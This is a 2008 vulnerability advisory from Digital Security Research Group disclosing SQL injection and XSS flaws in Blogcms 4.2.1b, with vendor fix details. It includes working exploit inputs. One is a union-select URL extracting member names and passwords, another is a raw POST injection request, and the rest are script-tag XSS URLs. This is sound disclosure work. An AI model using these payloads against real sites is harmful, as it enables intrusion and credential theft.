DSECRG-08-003.txt

`  
Digital Security Research Group [DSecRG] Advisory #DSECRG-08-003  
  
  
Application: Blogcms  
Versions Affected: Blogcms 4.2.1b  
Vendor URL: http://blogcms.com/  
Bugs: SQL Injestions, SiXSS, XSS  
Exploits: YES  
Reported: 15.01.2008  
Vendor response: 16.01.2008  
Date of Public Advisory: 16.01.2008  
Authors: Alexandr Polyakov, Stas Svistunovich  
Digital Security Reasearch Group [DSecRG] (research [at] dsec [dot] ru)  
  
  
  
Description  
***********  
  
Blogcms system has multiple security vulnerabilities:  
  
1. Multiple SQL Injections  
2. Multiple Linked XSS  
3. Multiple Linked SiXSS  
  
  
  
Details  
*******  
  
1. Multiple SQL Injection vulnerabilities  
  
  
1.1 Attacker can inject SQL code in index.php. Parameter name "blogid"  
  
  
Example:  
  
http://[server]/[installdir]/index.php?query=asd&blogid=1,1)+union+select+1,2,user(),database(),mname,6,7,8,9,10,11,mpassword,13,14,15+from+nucleus_member/*  
  
  
  
1.2 Attacker can inject SQL code in module /blogcms/action.php. POST parameter name "user"  
  
  
Example:  
  
POST /blogcms/action.php HTTP/1.0  
Cookie: DokuWiki=g8m41hncjkfjkc4sb1lvmgbiu5  
Content-Length: 139  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; DS; .NET CLR 2.0.50727)  
Host: 192.168.40.33  
Pragma: no-cache  
Connection: Keep-Alive  
  
action=addcomment&url=http%3A%2F%2F192.168.40.33%2Fblogcms%2F%3Fitem%3Dblog-cms-4-2-1&itemid=1&body=asd&&userid=asd&x=42&y=13&user=asd'+[DSecRG_INJECTION]  
  
-------------------------------------------------------------------------------  
  
  
2. Multiple Linked XSS vulnerabilities  
  
Linked XSS vulnerability found in /photo/admin.php and /photo/index.php attacker can inject XSS script in URL  
  
Example:  
  
http://[server]/[installdir]/photo/admin.php/"><script>alert('DSECRG_XSS')</script>   
  
http://[server]/[installdir]/photo/index.php/"><script>alert('DSECRG_XSS')</script>   
  
  
  
-------------------------------------------------------------------------------  
3. Multiple SiXSS (XSS throught SQl Injection Error) vulnerabilities  
  
  
3.1 Linked SiXSS vulnerability found in index.php, attacker can inject XSS code in SQL Error   
  
Example:  
  
http://[server]/[installdir]/index.php?query=asd&amount=0&blogid=1'<script>alert('DSecRG_XSS')</script>;&x=34&y=6  
  
  
  
3.1 Linked SiXSS vulnerability found in /admin/plugins/table/index.php, attacker can inject XSS code in SQL Error   
  
It is also a SQL injection but because it is in admin panel it is not critical.  
  
Example:  
  
http://[server]/[installdir]/admin/plugins/table/index.php?action=edittemplate&field=title'<script>a=/DSecRG XSS/%0d%0aalert(a.source)</script>&id=2&text=0  
  
-------------------------------------------------------------------------------  
  
  
  
Fix Information  
***************  
  
Blogcms was altered to fix this flaw on 16.01.2008. Updated version (4.2.1.c) can be downloaded here:  
  
http://blogcms.com/?item=download  
  
Changelog: http://blogcms.com/wiki/changelog  
  
  
  
About  
*****  
  
Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.  
  
  
Contact: research [at] dsec [dot] ru  
http://www.dsec.ru (in Russian)  
`